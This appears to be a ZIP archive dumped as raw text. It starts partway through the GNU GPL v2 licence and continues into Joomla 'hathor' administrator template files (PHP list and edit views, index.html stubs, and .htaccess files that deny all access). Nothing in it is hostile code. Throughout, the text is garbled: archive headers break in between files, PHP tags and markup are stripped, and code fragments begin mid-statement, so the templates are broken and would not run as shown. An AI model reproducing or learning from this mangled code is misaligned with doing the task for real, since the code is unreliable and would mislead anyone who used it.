code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PK@y>\)4templates/hathor/html/com_weblinks/weblink/.htaccessnuW+A Order allow,deny Deny from all PK@y>\z <templates/hathor/html/com_weblinks/weblink/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
              • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
              • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
              • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
              • form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\V5templates/hathor/html/com_weblinks/weblink/index.htmlnuW+A PK@y>\/3templates/hathor/html/com_weblinks/weblink/edit.phpnuW+A PK@y>\gY:templates/hathor/html/com_weblinks/weblink/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
              label); ?>
                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              PK@y>\),templates/hathor/html/com_weblinks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V6templates/hathor/html/com_weblinks/weblinks/index.htmlnuW+A PK@y>\)5templates/hathor/html/com_weblinks/weblinks/.htaccessnuW+A Order allow,deny Deny from all PK@y>\|""7templates/hathor/html/com_weblinks/weblinks/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_weblinks.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_weblinks&task=edit&type=other&cid[]='. $item->catid); $canCreate = $user->authorise('core.create', 'com_weblinks.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_weblinks.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_weblinks.category.'.$item->catid) && $canCheckin; ?>
              items, 'filesave.png', 'weblinks.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'weblinks.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

              escape($item->alias));?>

              state, $i, 'weblinks.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'weblinks.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'weblinks.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> ordering; ?> escape($item->access_level); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              pagination->getListFooter(); ?>
              loadTemplate('batch'); ?>
              PK@y>\V-templates/hathor/html/com_weblinks/index.htmlnuW+A PK@y>\V+templates/hathor/html/com_finder/index.htmlnuW+A PK@y>\60templates/hathor/html/com_finder/maps/index.htmlnuW+APK@y>\)/templates/hathor/html/com_finder/maps/.htaccessnuW+A Order allow,deny Deny from all PK@y>\81templates/hathor/html/com_finder/maps/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT'); ?>
              items) == 0): ?> state->get('filter.branch') != 1) : ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item) :?>
              id); ?> title); $title = $lang->hasKey($key) ? JText::_($key) : $item->title; ?> state->get('filter.branch') == 1 && $item->num_children) : ?> escape($title); ?> escape($title); ?> num_children > 0) : ?> (num_children; ?>) num_nodes > 0) : ?> (num_nodes; ?>) state, $i, 'maps.', $canChange, 'cb'); ?>
              pagination->getListFooter(); ?>
              PK@y>\)*templates/hathor/html/com_finder/.htaccessnuW+A Order allow,deny Deny from all PK@y>\66templates/hathor/html/com_finder/statistics/index.htmlnuW+APK@y>\)5templates/hathor/html/com_finder/statistics/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0templates/hathor/html/com_finder/index/.htaccessnuW+A Order allow,deny Deny from all PK@y>\61templates/hathor/html/com_finder/index/index.htmlnuW+APK@y>\6ǚ--2templates/hathor/html/com_finder/index/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT'); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
              items) == 0): ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item) : ?>
              total == 0) { echo JText::_('COM_FINDER_INDEX_NO_DATA') . ' ' . JText::_('COM_FINDER_INDEX_TIP'); } else { echo JText::_('COM_FINDER_INDEX_NO_CONTENT'); } ?>
              link_id); ?> publish_start_date) or intval($item->publish_end_date) or intval($item->start_date) or intval($item->end_date)) : ?> escape($item->title); ?> published, $i, 'index.', $canChange, 'cb'); ?> t_title); echo $lang->hasKey($key) ? JText::_($key) : $item->t_title; ?> url) > 80) { echo substr($item->url, 0, 70) . '...'; } else { echo $item->url; } ?> indexdate, JText::_('DATE_FORMAT_LC4')); ?>
              pagination->getListFooter(); ?>
              PK@y>\)2templates/hathor/html/com_finder/filters/.htaccessnuW+A Order allow,deny Deny from all PK@y>\63templates/hathor/html/com_finder/filters/index.htmlnuW+APK@y>\DWW4templates/hathor/html/com_finder/filters/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
              items) == 0): ?> items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_finder'); $canEdit = $user->authorise('core.edit', 'com_finder'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $filter->checked_out == $user->get('id') || $filter->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_finder') && $canCheckin; ?>
              total == 0): echo JText::_('COM_FINDER_NO_FILTERS'); ?>
              filter_id); ?> checked_out) { echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'filters.', $canCheckin); } ?> escape($item->title); ?> escape($item->title); } ?> state, $i, 'filters.', $canChange); ?> created_by_alias ? $item->created_by_alias : $item->user_name; ?> created, JText::_('DATE_FORMAT_LC4')); ?> map_count; ?> filter_id; ?>
              pagination->getListFooter(); ?>
              PK@y>\)1templates/hathor/html/com_finder/filter/.htaccessnuW+A Order allow,deny Deny from all PK@y>\62templates/hathor/html/com_finder/filter/index.htmlnuW+APK@y>\V,templates/hathor/html/com_modules/index.htmlnuW+A PK@y>\''5templates/hathor/html/com_modules/modules/default.phpnuW+Astate->get('filter.client_id') ? 'administrator' : 'site'; $user = JFactory::getUser(); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_modules'); $saveOrder = $listOrder == 'ordering'; ?>
              items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_modules'); $canEdit = $user->authorise('core.edit', 'com_modules'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_modules') && $canCheckin; ?>
              items, 'filesave.png', 'modules.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'modules.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?> note)) : ?>

              escape($item->note));?>

              published, $i, $canChange, 'cb'); ?> position; ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> ordering; ?> name;?> pages; ?> escape($item->access_level); ?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              authorize('core.create', 'com_modules') || $user->authorize('core.edit', 'com_modules')) : ?> loadTemplate('batch'); ?> pagination->getListFooter(); ?>
              PK@y>\)3templates/hathor/html/com_modules/modules/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4templates/hathor/html/com_modules/modules/index.htmlnuW+A PK@y>\)+templates/hathor/html/com_modules/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V6templates/hathor/html/com_modules/positions/index.htmlnuW+A PK@y>\)5templates/hathor/html/com_modules/positions/.htaccessnuW+A Order allow,deny Deny from all PK@y>\i85templates/hathor/html/com_modules/positions/modal.phpnuW+Aescape($this->state->get('list.ordering')); $direction = $this->escape($this->state->get('list.direction')); $clientId = $this->state->get('filter.client_id'); $state = $this->state->get('filter.state'); $template = $this->state->get('filter.template'); $type = $this->state->get('filter.type'); ?>
              items as $value=>$templates) : ?>
              escape($value); ?>
                $label):?>
              • hasKey($label) ? JText::sprintf('COM_MODULES_MODULE_TEMPLATE_POSITION', JText::_($template), JText::_($label)) : JText::_($template);?>
              pagination->getListFooter(); ?>
              PK@y>\:eM9templates/hathor/html/com_modules/module/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

              '.$this->escape(JText::_($fieldSet->description)).'

              '; endif; ?>
                form->getFieldset($name) as $field) : ?> hidden) : ?>
              • label; ?> input; ?>
              • input; ?>
              PK@y>\dzXAA1templates/hathor/html/com_modules/module/edit.phpnuW+Aitem->module) || $this->item->module == 'custom' || $this->item->module == 'mod_custom'; $script = "Joomla.submitbutton = function(task) { if (task == 'module.cancel' || document.formvalidator.isValid(document.id('module-form'))) {"; if ($hasContent) { $script .= $this->form->getField('content')->save(); } $script .= " Joomla.submitform(task, document.getElementById('module-form')); if (self != top) { window.top.setTimeout('window.parent.SqueezeBox.close()', 1000); } } else { alert('".$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'))."'); } }"; JFactory::getDocument()->addScriptDeclaration($script); ?>
              • form->getLabel('title'); ?> form->getInput('title'); ?>
              • form->getLabel('showtitle'); ?> form->getInput('showtitle'); ?>
              • form->getLabel('position'); ?> form->getInput('custom_position'); ?> form->getInput('position'); ?>
              • item->xml->name != 'Login Form'): ?>
              • form->getLabel('published'); ?> form->getInput('published'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
              • item->xml->name != 'Login Form'): ?>
              • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
              • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
              • form->getLabel('language'); ?> form->getInput('language'); ?>
              • form->getLabel('note'); ?> form->getInput('note'); ?>
              • item->id) : ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              • form->getLabel('module'); ?> form->getInput('module'); ?> item->xml) echo ($text = (string) $this->item->xml->name) ? JText::_($text) : $this->item->module;else echo JText::_(COM_MODULES_ERR_XML);?>
              • form->getLabel('client_id'); ?> form->getInput('client_id'); ?>
              item->xml) : ?> item->xml->description)) : ?>
              loadTemplate('options'); ?>
              • form->getLabel('content'); ?>
                form->getInput('content'); ?>
              item->client_id == 0) :?>
              loadTemplate('assignment'); ?>
              PK@y>\V3templates/hathor/html/com_modules/module/index.htmlnuW+A PK@y>\)2templates/hathor/html/com_modules/module/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V6templates/hathor/html/com_messages/messages/index.htmlnuW+A PK@y>\)5templates/hathor/html/com_messages/messages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ND7templates/hathor/html/com_messages/messages/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : $canChange = $user->authorise('core.edit.state', 'com_messages'); ?>
              message_id); ?> escape($item->subject); ?> state, $i, $canChange); ?> user_from; ?> date_time, JText::_('DATE_FORMAT_LC2')); ?>
              pagination->getListFooter(); ?>
              PK@y>\),templates/hathor/html/com_messages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-templates/hathor/html/com_messages/index.htmlnuW+A PK@y>\V*templates/hathor/html/com_cache/index.htmlnuW+A PK@y>\M  1templates/hathor/html/com_cache/cache/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              data as $folder => $item): ?>
              pagination->getRowOffset($i); ?> group; ?> count; ?> size*1024); ?>
              pagination->getListFooter(); ?>
              PK@y>\)/templates/hathor/html/com_cache/cache/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0templates/hathor/html/com_cache/cache/index.htmlnuW+A PK@y>\))templates/hathor/html/com_cache/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)3templates/hathor/html/com_content/article/.htaccessnuW+A Order allow,deny Deny from all PK@y>\tG((2templates/hathor/html/com_content/article/edit.phpnuW+Astate->get('params'); $params = $params->toArray(); // This checks if the config options have ever been saved. If they haven't they will fall back to the original settings. $editoroptions = isset($params['show_publishing_options']); if (!$editoroptions): $params['show_publishing_options'] = '1'; $params['show_article_options'] = '1'; $params['show_urls_images_backend'] = '0'; $params['show_urls_images_frontend'] = '0'; endif; // Check if the article uses configuration settings besides global. If so, use them. if (!empty($this->item->attribs['show_publishing_options'])): $params['show_publishing_options'] = $this->item->attribs['show_publishing_options']; endif; if (!empty($this->item->attribs['show_article_options'])): $params['show_article_options'] = $this->item->attribs['show_article_options']; endif; if (!empty($this->item->attribs['show_urls_images_backend'])): $params['show_urls_images_backend'] = $this->item->attribs['show_urls_images_backend']; endif; ?>
              item->id) ? JText::_('COM_CONTENT_NEW_ARTICLE') : JText::sprintf('COM_CONTENT_EDIT_ARTICLE', $this->item->id); ?>
              • form->getLabel('title'); ?> form->getInput('title'); ?>
              • form->getLabel('alias'); ?> form->getInput('alias'); ?>
              • form->getLabel('catid'); ?> form->getInput('catid'); ?>
              • form->getLabel('state'); ?> form->getInput('state'); ?>
              • form->getLabel('access'); ?> form->getInput('access'); ?>
              • canDo->get('core.admin')): ?>
              • form->getLabel('featured'); ?> form->getInput('featured'); ?>
              • form->getLabel('language'); ?> form->getInput('language'); ?>
              • form->getLabel('id'); ?> form->getInput('id'); ?>
              form->getLabel('articletext'); ?>
              form->getInput('articletext'); ?>
              item->id, array('useCookie'=>1)); ?>
              • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
              • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
              • form->getLabel('created'); ?> form->getInput('created'); ?>
              • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
              • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
              • item->modified_by) : ?>
              • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
              • form->getLabel('modified'); ?> form->getInput('modified'); ?>
              • item->version) : ?>
              • form->getLabel('version'); ?> form->getInput('version'); ?>
              • item->hits) : ?>
              • form->getLabel('hits'); ?> form->getInput('hits'); ?>
              form->getFieldsets('attribs'); ?> $fieldSet) : ?> label), $name.'-options'); ?> description) && trim($fieldSet->description)) : ?>

              escape(JText::_($fieldSet->description));?>

                form->getFieldset($name) as $field) : ?>
              • label; ?> input; ?>
              form->getFieldset('basic-limited') as $field) : ?> input; ?>
              • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
              canDo->get('core.admin') ): ?>
                form->getFieldset('editorConfig') as $field) : ?>
              • label; ?> input; ?>
              • form->getLabel('images'); ?> form->getInput('images'); ?>
              • form->getGroup('images') as $field): ?>
              • hidden): ?> label; ?> input; ?>
              • form->getGroup('urls') as $field): ?>
              • hidden): ?> label; ?> input; ?>
              loadTemplate('metadata'); ?>
              canDo->get('core.admin')): ?>
              item->id, array('useCookie'=>1)); ?>
              form->getLabel('rules'); ?> form->getInput('rules'); ?>
              PK@y>\V4templates/hathor/html/com_content/article/index.htmlnuW+A PK@y>\V,templates/hathor/html/com_content/index.htmlnuW+A PK@y>\\.u))6templates/hathor/html/com_content/articles/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $saveOrder = $listOrder == 'a.ordering'; $n = count($this->items); ?>
              items as $i => $item) : $item->max_ordering = 0; //?? $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_content.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_content.article.'.$item->id); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_content.article.'.$item->id) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_content.article.'.$item->id) && $canCheckin; ?>
              items, 'filesave.png', 'articles.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'articles.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

              escape($item->alias));?>

              state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> ordering; ?> escape($item->access_level); ?> created_by_alias) : ?> escape($item->author_name); ?>

              escape($item->created_by_alias)); ?>

              escape($item->author_name); ?>
              created, JText::_('DATE_FORMAT_LC4')); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              loadTemplate('batch'); ?> pagination->getListFooter(); ?>
              PK@y>\)4templates/hathor/html/com_content/articles/.htaccessnuW+A Order allow,deny Deny from all PK@y>\q vv4templates/hathor/html/com_content/articles/modal.phpnuW+AisSite()) { JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN')); } require_once JPATH_ROOT . '/components/com_content/helpers/route.php'; JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); JHtml::_('behavior.tooltip'); $function = JRequest::getCmd('function', 'jSelectArticle'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
              items as $i => $item) : ?> pagination->getListFooter(); ?>
              PK@y>\V5templates/hathor/html/com_content/articles/index.htmlnuW+A PK@y>\)+templates/hathor/html/com_content/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Wl""6templates/hathor/html/com_content/featured/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_content.article'); $saveOrder = $listOrder == 'fp.ordering'; $n = count($this->items); ?>
              items as $i => $item) : $item->max_ordering = 0; //?? $ordering = ($listOrder == 'fp.ordering'); $assetId = 'com_content.article.'.$item->id; $canCreate = $user->authorise('core.create', 'com_content.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_content.article.'.$item->id); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_content.article.'.$item->id) && $canCheckin; ?>
              items, 'filesave.png', 'featured.saveorder'); ?>
              id); ?> checked_out) : ?> editor, $item->checked_out_time, 'featured.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

              escape($item->alias));?>

              state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, true, 'featured.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'featured.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'featured.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'featured.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" title="title; ?> order" /> ordering; ?> escape($item->access_level); ?> created_by_alias) : ?> escape($item->author_name); ?>

              escape($item->created_by_alias)); ?>

              escape($item->author_name); ?>
              created, JText::_('DATE_FORMAT_LC4')); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
              pagination->getListFooter(); ?>
              PK@y>\)4templates/hathor/html/com_content/featured/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5templates/hathor/html/com_content/featured/index.htmlnuW+A PK@y>\qT<=templates/hathor/html/com_languages/installed/default_ftp.phpnuW+A

              message); ?>

              PK@y>\J)  9templates/hathor/html/com_languages/installed/default.phpnuW+Aget('id'); $client = $this->state->get('filter.client_id', 0) ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); $clientId = $this->state->get('filter.client_id', 0); ?>
              rows as $i => $row) : $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
               
              pagination->getRowOffset($i); ?> language);?> escape($row->name); ?> escape($row->language); ?> published, $i, 'installed.', !$row->published && $canChange);?> escape($row->version); ?> escape($row->creationDate); ?> escape($row->author); ?> escape($row->authorEmail); ?>
              pagination->getListFooter(); ?>
